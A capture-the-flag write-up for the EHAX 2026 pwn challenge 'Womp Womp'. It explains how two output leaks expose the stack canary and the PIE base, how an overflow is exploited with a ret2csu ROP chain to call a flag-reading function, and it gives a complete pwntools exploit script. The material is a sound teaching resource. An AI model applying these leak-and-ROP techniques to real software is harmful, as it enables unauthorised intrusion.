← Back to EHAX 2026

Womp Womp

Binary Exploitation 50 pts

Challenge

"Hippity hoppity the flag is not your property"

Connection: nc chall.ehax.in 1337
Files: challenge (ELF 64-bit PIE), libcoreio.so (shared library)

Analysis

Binary Protections

challenge binary:

  • Full RELRO, Stack Canary, NX, PIE (all protections enabled)

libcoreio.so:

  • Partial RELRO, No Stack Canary, NX, PIE

Program Flow

The program (service.c) has three sequential phases:

  1. submit_note - Reads 0x40 bytes into a 0x40-byte buffer at rbp-0x50, then writes 0x58 bytes back (leaks 0x18 extra bytes beyond input).
  2. review_note - Reads 0x20 bytes into a 0x20-byte buffer at rbp-0x30, stores finalize_note function pointer at rbp-0x10, then writes 0x30 bytes back.
  3. finalize_entry - Reads 0x190 bytes into a buffer starting at rbp-0x48 (only 0x40 bytes to the canary). Classic buffer overflow.

Win Function

emit_report in libcoreio.so opens and reads flag.txt, but requires three magic arguments:

  • rdi = 0xdeadbeefdeadbeef
  • rsi = 0xcafebabecafebabe
  • rdx = 0xd00df00dd00df00d

Vulnerabilities

Info Leak 1: submit_note (Canary + Stack Address)

submit_note reads 0x40 bytes but writes 0x58 bytes from the same buffer base. The extra 0x18 bytes leak:

  • Bytes 0x40-0x47: padding (zero)
  • Bytes 0x48-0x4f: stack canary
  • Bytes 0x50-0x57: saved RBP (main's frame pointer)

Info Leak 2: review_note (PIE Base)

review_note stores the address of finalize_note (at PIE offset 0x980) on the stack at rbp-0x10, then writes 0x30 bytes from rbp-0x30, which includes that pointer. Bytes 0x20-0x27 of the output leak the PIE base.

Buffer Overflow: finalize_entry

finalize_entry reads 0x190 bytes (400) into a buffer that only has 0x40 bytes before the canary. With the leaked canary, we can overwrite the return address with a ROP chain.

Exploit Strategy: ret2csu

The challenge lacks a pop rdx; ret gadget, so we use ret2csu (abusing __libc_csu_init gadgets) to control rdx:

CSU Gadgets:

  • 0xc9a: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
  • 0xc80: mov rdx, r13; mov rsi, r14; mov edi, r15d; call *[r12 + rbx*8]

Key trick: We place the address of _fini (a benign function: sub rsp,8; add rsp,8; ret that does NOT clobber rdx/rsi) at a known location in our overflow buffer. Using the leaked saved RBP, we calculate the buffer's absolute stack address and point r12 there.

ROP Chain

[_fini addr]  [padding * 0x38]  [canary]  [fake rbp]
[csu_pop]  [rbx=0] [rbp=1] [r12=&_fini_on_stack] [r13=0xd00df00dd00df00d] [r14=0xcafebabecafebabe] [r15=0]
[csu_call]   -> sets rdx, rsi, calls _fini (harmless)
[pad] [0]*6  -> consumed by csu epilogue
[pop_rdi] [0xdeadbeefdeadbeef]
[pop_rsi_r15] [0xcafebabecafebabe] [0]
[ret]        -> stack alignment
[emit_report@plt]

Exploit Code

from pwn import *
context.arch = 'amd64'

r = remote('chall.ehax.in', 1337)

# Leak canary + saved RBP from submit_note
r.recvuntil(b'Input log entry: ')
r.send(b'A' * 0x40)
r.recvuntil(b'[LOG] Entry received: ')
leak = r.recv(0x58)
canary = u64(leak[0x48:0x50])
saved_rbp = u64(leak[0x50:0x58])

# Leak PIE base from review_note
r.recvuntil(b'Input processing note: ')
r.send(b'B' * 0x20)
r.recvuntil(b'[PROC] Processing: ')
review_leak = r.recv(0x30)
pie_base = u64(review_leak[0x20:0x28]) - 0x980

# Gadgets
pop_rdi = pie_base + 0xca3
pop_rsi_r15 = pie_base + 0xca1
ret = pie_base + 0x7f9
emit_report_plt = pie_base + 0x838
csu_pop = pie_base + 0xc9a
csu_call = pie_base + 0xc80
fini_addr = pie_base + 0xcb4
buf_addr = saved_rbp - 0x58  # finalize_entry's buffer address

# Build overflow payload
payload = p64(fini_addr)        # pointer to _fini on stack
payload += b'C' * (0x40 - 8)   # padding
payload += p64(canary)
payload += p64(0)               # saved rbp
# ROP chain
payload += p64(csu_pop)
payload += p64(0) + p64(1) + p64(buf_addr)
payload += p64(0xd00df00dd00df00d)  # r13 -> rdx
payload += p64(0xcafebabecafebabe)  # r14 -> rsi
payload += p64(0)                    # r15
payload += p64(csu_call)
payload += p64(0) * 7               # csu epilogue padding
payload += p64(pop_rdi) + p64(0xdeadbeefdeadbeef)
payload += p64(pop_rsi_r15) + p64(0xcafebabecafebabe) + p64(0)
payload += p64(ret)
payload += p64(emit_report_plt)

r.recvuntil(b'Send final payload: ')
r.send(payload)
print(r.recvall(timeout=5))